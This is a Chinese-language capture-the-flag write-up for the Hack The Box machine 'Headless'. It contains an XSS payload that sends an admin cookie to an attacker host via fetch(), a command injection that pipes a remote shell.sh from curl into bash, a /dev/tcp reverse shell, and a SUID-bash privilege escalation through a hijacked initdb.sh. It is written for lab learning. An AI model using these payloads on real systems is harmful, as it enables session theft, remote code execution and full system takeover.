XSS跨站脚本攻击、sh脚本提权
Headless
信息搜集
使用nmap扫描一下
1 | nmap -sV -sC -v --min-rate 1000 10.10.11.8 |
可以发现5000端口是开放的,继续扫一下目录
访问/dashboard
发现只有admin才可以,我们注意到cookie值为JWT加密,拿到揭秘网站验证下猜想
cookie为user用户,那么我们要想访问必须拿到admin的cookie
访问/support
路径存在类似提交留言的功能,应该是存在xss注入。
1 | <script>alert(1)</script> |
提交后会发现提示Hacking
说明思路没错,那么我们可以利用xss注入得到admin的cookie值,payload如下
(利用fetch函数对我们服务器发送网络请求)
1 | <img src=1 onerror=fetch("http://10.10.14.34:80/?cookie="+document.cookie);> |
经过多次尝试,发现我触发payload的条件必须在User-Agent
和message
参数都有才行。而国外师傅们不同wp中User-Agent
都是payload触发点,但是message参数值的不同。有的是下图这样而有的是message=test;
不过好在是拿到了admin的cookie
成功访问/dashboard
,然后抓包发现data参数存在命令注入
尝试直接反弹shell发现不行,那么试一下用curl命令
首先在本地创建shell.sh文件,写入
1
bash -c "bash -i >& /dev/tcp/10.10.14.34/1028 0>&1"
然后在本地开启http服务,用来被靶机读取文件
1
python3 -m http.server 80
然后用curl命令去读取我们的shell.sh文件
1
date=;curl 10.10.14.34/shell.sh |bash
成功反弹shell
得到user的flag
我们尝试用sudo提权
1 | sudo -l |
发现只有/usr/bin/syscheck
可用
我们strings命令查看下得到源码
1 | #!/bin/bash |
重点看下面这段
1 | if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then |
这段代码大概意思就是,if语句先使用pgrep命令检测initdb.sh
是否存在,如果不存在则执行该sh文件并丢弃错误输出
而我们在根目录下并没有找到该sh文件,那么我们可以简单利用一下
首先创建
initdb.sh
文件,写入提升权限的命令1
echo "chmod u+s /bin/bash" > initdb.sh
然后赋予该sh脚本的执行权限
1
chmod +x initdb.sh
最后sudo执行
/usr/bin/syscheck
,成功运行sh脚本1
sudo /usr/bin/syscheck
运行sh脚本后,用-p参数启动Bash Shell
并以特权模式运行
1 | /bin/bash -p |
得到root的flag